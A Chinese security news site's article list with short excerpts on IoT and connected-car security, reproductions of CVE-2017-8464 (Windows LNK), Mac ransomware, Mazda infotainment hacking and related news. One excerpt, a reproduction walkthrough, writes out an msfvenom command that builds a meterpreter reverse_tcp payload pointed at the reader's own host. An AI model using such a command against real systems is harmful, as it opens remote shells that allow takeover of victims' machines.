文章列表
物联网安全分析
我们日常使用的许多东西正在变得智能化并且都连入了互联网。物联网(IoT)将改善我们的生活，它帮助我们实现健康和健身目标、减少资源消耗、提高生产力、追踪并确保资产安全。许多嵌入式开发人员意识到IoT的潜在好处并积极开发各种应用程序，范围涉及家庭连接设备、可穿戴和家庭安全系统等。然而，风险与
《智能网联汽车信息安全白皮书》正式发布 筑牢汽车信息安全防线
2017年6月12日，在中国智能网联汽车产业创新联盟成立大会上，由中国汽车工程学会、北京航空航天大学、梆梆安全研究院联合编撰的《智能网联汽车信息安全白皮书》正式发布。智能网联汽车智能化背后的安全危机 如今汽车行业正在经历一次前所未有的变革，汽车将变得越来越“聪明”已经毋庸置疑。然而随着汽
CVE-2017-8464远程命令执行漏洞（震网漏洞）复现
经确认，这非CVE-2017-8464漏洞，真正的漏洞复现，t00ls期待中！===================================0x01.前言2017年6月13日，微软官方发布编号为CVE-2017-8464的漏洞公告，官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞，黑客可以通过U盘、网络共享等途径触发漏洞，完全控制用
CVE-2017-8464 lnk快捷方式复现小技巧
0X00其实这些东西也没什么好稀奇的，很多大牛都已经事先复现成功了，但是我也想来造一个轮子！{:6_437:} 0X01主要就是在复现的基础上加上一些以前自己玩badusb的小技巧0X02我们首先用MSF生成一个payload：msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的IP LPORT=端口 -f psh-reflection
Mac安全只是传说：黑客针对它卖勒索软件
（原标题：Mac安全只是传说 黑客针对它卖勒索软件）一直以来，业内都有Mac电脑比Windows PC安全的传言，但事实上这只是个神话。安全研究人员最近就在网上发现了两款恶意软件，很明显它们就是冲着Mac来的。前段时间爆发的WannaCry勒索软件让Windows PC用户叫苦不迭，不过这种勒索软件可不是Windows专属
Microsoft Windows CVE-2017-8464 LNK 远程代码执行漏洞 完整复现
很抱歉，这个CVE是我自己复现过把过程发到吐司里的，因为吐司并没有关于这个CVE的文章。该CVE复现并不是我原创的，下次在板块发帖会注意，以后这类的文章会发到技术讨论区。========================================2017年6月13日，微软官方发布编号为CVE-2017-8464的漏洞公告，官方介绍Windows系统在
智慧城市建设中 网络安全攻防战如何打赢
智慧城市建设以物联网、云计算等大数据技术体系为支撑，数据信息巨大，并涉及到政务、商业、生活等方方面面，一旦出现信息泄露、数据丢失等安全问题，后果将不堪设想。因此，智慧城市的信息安全问题不容忽视。我国近年来智慧城市建设实践中，信息安全作为重要一环，在进行整体规划和顶层设计之时，并未
部分马自达汽车只要一个U盘就能被黑客攻破
据外媒报道，配备新一代MZD Connect信息娱乐系统的部分马自达车型被发现只需要一个简单的U盘就能被攻破。这看起来很有可能跟系统中的一系列漏洞有关。获悉，该问题最早在3年前就被Mazda3Revolution论坛的用户发现。 自那之后，一些马自达车主就开始利用这些漏洞来定制他们自己想要的信息娱乐系统、
美指认朝鲜政府涉嫌2009年后的大规模黑客活动
据韩联社6月14日报道，美国国土安全部下属的计算机应急小组和联邦调查局(FBI)当地时间13日正式发布警告称，美国指认朝鲜政府涉嫌2009年后的大规模黑客活动。美方要求强化网络安保系统，应对朝鲜方面的网络攻击。报道称，应急小组和FBI还首次公布了隶属于朝鲜政府的黑客组织名称—神秘眼镜蛇(音译，hidd
使用对象存储应对勒索病毒
随着企业对数据依赖性的增加，数字信息资产变得更有价值。数据带来了很多好处，但同时也带来了一些不好的事件，最近一连串高调的安全漏洞只是冰山一角。因此，高管们正在把重点转移到网络安全，并为此投入更多的预算。在Enterprise Strategy Group 2017年的IT支出意向研究中，受访者认为网络安全是未来
